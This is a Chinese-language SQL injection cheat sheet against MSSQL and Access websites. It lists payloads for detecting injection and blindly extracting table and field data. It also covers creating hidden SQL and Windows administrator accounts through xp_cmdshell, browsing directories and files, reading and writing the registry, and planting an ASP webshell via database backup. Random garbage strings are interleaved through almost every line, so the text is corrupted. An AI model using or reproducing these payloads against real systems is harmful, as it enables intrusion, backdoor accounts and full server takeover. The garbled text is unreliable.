1.判断是否有注入;and 1=1 ;and 1=2 G&t|aY-
2.初步判断是否是mssql ;and user>0 nB0KDt_
Yh Ow0 x
3.注入参数是字符'and [查询条件] and ''=' JcMl*k
suYbD!`(
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 'Hs*
4?bvJJuf)
5.判断数据库系统 7-C])9
=pTTXo
;and (select count(*) from sysobjects)>0 mssql 4TYtgP1
j WMTQLE.
;and (select count(*) from msysobjects)>0 access Wc,`L$Jx
:DeJnE
Ypxp4B
=LgMG^@mu
6.猜数据库 ;and (select Count(*) from [数据库名])>0 s%8,'3&
8'NT_NPNb
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 fsWIz1K
nrX+ '
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ;]bW
'&2-{Y [!
9.(1)猜字段的ascii值(access) P]OUzI,
LFr$h`_D5
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 o,S(;6pDJ
%$'fq*8b
(2)猜字段的ascii值(mssql) t*dq*(3"c
a 7=lZZ?
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 rQJ\Y3.
f0R+Mz8{
10.测试权限结构(mssql) V-E 77u6{0
S<-5<Pg
9}L2$^#,NA
jc\y{ I\
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- /5Vv5d/Z4!
X?;iSekI4
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- C\OZs%]At
%|1s9?h7\
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- id" l"
M%RH4%NZ0
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- F,Ve, 7kh
_Vf>>tuW
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- l|iOdKr h
>_ G'o
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 2E`mbT,v&
=''b `T$
;and 1=(select IS_MEMBER('db_owner'));-- 2\1bQq\
B=7maYeU
cV_-Bcb
wAJ=rRI
11.添加mssql和系统的帐户 )]4=anJu@|
F S$8F
;exec master.dbo.sp_addlogin username;-- mlUj%:Gm#
;exec master.dbo.sp_password null,username,password;-- G
\Nnw==v
d @ l
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- p L^3*B.Nr
4%|r$E/TQ
;exec master.dbo.xp_cmdshell 'net user username password n)z:C{
2?v }w<Ydl
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- FjLMN{eH/
Xr'b{&
;exec master.dbo.xp_cmdshell 'net user username password /add';-- jSRi
A)Rh
Bi
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- HgBu:x?&
SqdI($F\:
-M_>]ubG
xI/8[JW*
12.(1)遍历目录 s:(z;cj/
'KT(;Vof
;create table dirs(paths varchar(100), id int) _OS,zZ0
6V}xgfB
;insert dirs exec master.dbo.xp_dirtree 'c:\' EJQT\c
SJlE!MK
;and (select top 1 paths from dirs)>0 +_u~Np
^4'!B
+}F
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) %Pj}
~*UY[!+4^=
7,8TMd1`M
8?x:PkK
(2)遍历目录 >"|t*kS
tmM; Z(9t
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Y> ATL
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3-)}.8F
uPxjW"M+
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 DL,]iJm
TIR Is1
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6`bR'
0D
]*Q,~uV^|
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 AT1{D!b
;:+2.//
n}fV$qu
TeO'E<@
13.mssql中的存储过程 kHhku!CH
|JP'j1 Ka
xp_regenumvalues 注册表根键, 子键 e@ $|xa")
M)AvcZNs
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 h@\HPYi#.
?r5a*
xp_regread 根键,子键,键值名 r.6?|
3(vm'r&5n>
;exec xp_regread ='_3qn.
7zJ2n/`m*
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 IN;9p w
_-^mxC|M
xp_regwrite 根键,子键, 值名, 值类型, 值 [TFp2B~)#
7^mQfQv
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Ap;^\5
-T-yt2h(
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Z glU{sU
Zk>m!F>,p
xp_regdeletevalue 根键,子键,值名 a/3'!} &e
JnIG;/
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 inZ0iU9dy
moh,a B#
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Kv<mDA!
z"QXPIXPk
yLK %lP
W- nS{v(
14.mssql的backup创建webshell fwMYEj
`Mcg&Mi~
use model qPWf=s7!
jp@X,HES
create table cmd(str image); rc~)%M<[2
%}Y&qT?
insert into cmd(str) values (''); QD%6K=8Q
Q~k|lTf
backup database model to disk='c:\l.asp'; aNQ(xiskb
{?EmO+![}
|$ZS26aYw}
m}zXy\
15.mssql内置函数 a?PH`5O
+7nvy^m
;and (select @@version)>0 获得Windows的版本号 pGy k61
w(t1m]pF[
;and user_name()='dbo' 判断当前系统的连接用户是不是sa -yg;,nCg
yOvV"x]
;and (select user_name())>0 爆当前系统的连接用户 nn$^iw`
EM!S ;i
;and (select db_name())>0 得到当前连接的数据库 s*Z
yr%R
!|]k2=+I
,Mi'NO
cz>)6#&O
16.简洁的webshell D`X<b4e8/
a2i:fz=[
use model @ PhAg
-U?%A:,a|
create table cmd(str image); Br&&#
9F6dKPN:
insert into cmd(str) values (''); zb02\xvf
&jQqlQ j
backup database model to disk='g:\wwwtest\l.asp';